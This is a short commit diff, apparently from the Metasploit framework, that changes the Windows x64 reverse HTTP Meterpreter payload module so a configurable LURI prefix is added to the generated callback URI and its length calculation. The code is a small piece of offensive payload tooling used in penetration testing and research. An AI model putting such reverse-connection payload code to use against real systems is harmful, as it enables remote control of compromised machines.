windows/x64 support

bug/bundler_fix
Rory McNamara 2015-12-15 09:35:21 +00:00 committed by Brent Cook
parent 1e16804c63
commit 7eda08aa2e
1 changed files with 3 additions and 2 deletions

View File

@ -55,7 +55,7 @@ module Payload::Windows::ReverseHttp_x64
# add extended options if we do have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:url] = datastore['LURI'] + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
@ -96,7 +96,8 @@ module Payload::Windows::ReverseHttp_x64
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + datastore['LURI'].length + rand(256-(30+datastore['LURI'].length))
end
if uri_req_len < 5